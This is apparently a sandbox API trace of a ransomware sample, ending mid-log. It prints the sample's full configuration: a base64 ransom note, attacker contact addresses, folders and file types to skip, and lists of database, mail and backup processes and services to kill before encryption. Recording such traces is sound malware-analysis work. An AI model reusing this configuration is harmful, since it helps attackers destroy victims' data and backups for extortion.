\"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0xef9d4, _Radix=0 | out: _EndPtr=0xef9d4*=", \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 5 [0031.921] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40e6c0, Size=0x1c) returned 0x40f3f0 [0031.921] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e6c0 [0031.921] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40f3f0, Size=0x20) returned 0x40f418 [0031.921] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e6e0 [0031.921] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4) returned 0x40bf80 [0031.921] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e700 [0031.921] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bf80, Size=0x8) returned 0x40bf70 [0031.921] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e720 [0031.921] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40f418, Size=0x24) returned 0x4084a0 [0031.921] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e740 [0031.921] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4084a0, Size=0x28) returned 0x4084d0 [0031.921] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e760 [0031.921] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4084d0, Size=0x2c) returned 0x40a720 [0031.921] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e780 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4) returned 0x40bf80 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e7a0 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4) returned 0x40bf90 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e7c0 [0031.922] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bf90, Size=0x8) returned 0x40bfa0 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e7e0 [0031.922] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bfa0, Size=0xc) returned 0x403800 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e800 [0031.922] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x403800, Size=0x10) returned 0x4037d0 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e820 [0031.922] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4037d0, Size=0x14) returned 0x40e840 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e860 [0031.922] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40e840, Size=0x18) returned 0x40e880 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e840 [0031.922] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40e880, Size=0x1c) returned 0x40f418 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e880 [0031.922] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40f418, Size=0x20) returned 0x40f3f0 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e8a0 [0031.922] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40f3f0, Size=0x24) returned 0x4084d0 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e8c0 [0031.922] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4084d0, Size=0x28) returned 0x4084a0 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e8e0 [0031.922] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4084a0, Size=0x2c) returned 0x40a758 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e900 [0031.922] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40a758, Size=0x30) returned 0x40a790 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e920 [0031.922] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40a790, Size=0x34) returned 0x409928 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e940 [0031.922] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x409928, Size=0x38) returned 0x409968 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e960 [0031.922] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x409968, Size=0x3c) returned 0x402180 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e980 [0031.922] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x402180, Size=0x40) returned 0x4021c8 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e9a0 [0031.922] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4021c8, Size=0x44) returned 0x40fa48 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e9c0 [0031.922] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fa48, Size=0x48) returned 0x40fa48 [0031.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e9e0 [0031.922] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fa48, Size=0x4c) returned 0x40fa48 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40ea00 [0031.923] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fa48, Size=0x50) returned 0x40fa48 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40ea20 [0031.923] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fa48, Size=0x54) returned 0x40fa48 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40ea40 [0031.923] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fa48, Size=0x58) returned 0x40fa48 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40ea60 [0031.923] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fa48, Size=0x5c) returned 0x40fa48 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40ea80 [0031.923] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fa48, Size=0x60) returned 0x40fa48 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40eaa0 [0031.923] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fa48, Size=0x64) returned 0x40fa48 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40eac0 [0031.923] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fa48, Size=0x68) returned 0x40fa48 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40eae0 [0031.923] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fa48, Size=0x6c) returned 0x40fa48 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40eb00 [0031.923] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fa48, Size=0x70) returned 0x40fa48 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40eb20 [0031.923] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fa48, Size=0x74) returned 0x40fa48 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40eb40 [0031.923] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fa48, Size=0x78) returned 0x40fa48 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40eb60 [0031.923] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fa48, Size=0x7c) returned 0x40fa48 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40eb80 [0031.923] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fa48, Size=0x80) returned 0x40fa48 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40eba0 [0031.923] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fa48, Size=0x84) returned 0x40fa48 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40ebc0 [0031.923] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fa48, Size=0x88) returned 0x40fa48 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40ebe0 [0031.923] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fa48, Size=0x8c) returned 0x40fa48 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40ec00 [0031.923] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fa48, Size=0x90) returned 0x40fa48 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40ec20 [0031.923] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fa48, Size=0x94) returned 0x40fa48 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40ec40 [0031.923] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bf80, Size=0x8) returned 0x40bfa0 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40ec60 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4) returned 0x40bf80 [0031.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40ec80 [0031.924] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bf80, Size=0x8) returned 0x40bf90 [0031.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40eca0 [0031.924] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bf90, Size=0xc) returned 0x4037d0 [0031.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40ecc0 [0031.924] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4037d0, Size=0x10) returned 0x403800 [0031.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40ece0 [0031.924] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x403800, Size=0x14) returned 0x40ed00 [0031.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40ed20 [0031.924] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40ed00, Size=0x18) returned 0x40ed40 [0031.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40ed00 [0031.924] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40ed40, Size=0x1c) returned 0x40f3f0 [0031.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40ed40 [0031.924] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40f3f0, Size=0x20) returned 0x40f418 [0031.924] 